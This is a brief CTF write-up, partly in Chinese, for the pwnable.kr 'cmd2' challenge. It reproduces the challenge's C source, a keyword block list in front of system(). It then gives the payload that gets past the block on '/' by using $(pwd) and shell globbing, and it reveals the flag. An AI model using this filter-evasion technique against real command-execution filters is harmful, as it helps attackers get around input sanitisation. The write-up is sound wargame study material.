pwnable.kr —— cmd2

question#

Daddy bought me a system command shell.
but he put some filters to prevent me from playing with it without his permission...
but I wanna play anytime I want!

ssh cmd2@pwnable.kr -p2222 (pw:flag of cmd1)

题目要求我们使用ssh登录到服务器上ssh cmd2@pwnable.kr -p2222，密码是cmd1的flag,有的时候可能有身份的校验，这个时候需要加上参数-o StrictHostKeyChecking=no进行登录

cmd2.c#

#include <stdio.h>
#include <string.h>

int filter(char* cmd){
	int r=0;
	r += strstr(cmd, "=")!=0;
	r += strstr(cmd, "PATH")!=0;
	r += strstr(cmd, "export")!=0;
	r += strstr(cmd, "/")!=0;
	r += strstr(cmd, "`")!=0;
	r += strstr(cmd, "flag")!=0;
	return r;
}

extern char** environ;
void delete_env(){
	char** p;
	for(p=environ; *p; p++)	memset(*p, 0, strlen(*p));
}

int main(int argc, char* argv[], char** envp){
	delete_env();
	putenv("PATH=/no_command_execution_until_you_become_a_hacker");
	if(filter(argv[1])) return 0;
	printf("%s\n", argv[1]);
	system( argv[1] );
	return 0;
}

analyse#

相对于cmd1，加强了过滤规则，主要是其中/的问题
可以在目录下使用pwd构造

其余的无差

get flag#

cmd2@ubuntu:/$ /home/cmd2/cmd2 '$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f*'
$(pwd)bin$(pwd)cat $(pwd)home$(pwd)cmd2$(pwd)f*
FuN_w1th_5h3ll_v4riabl3s_haha

flag：FuN_w1th_5h3ll_v4riabl3s_haha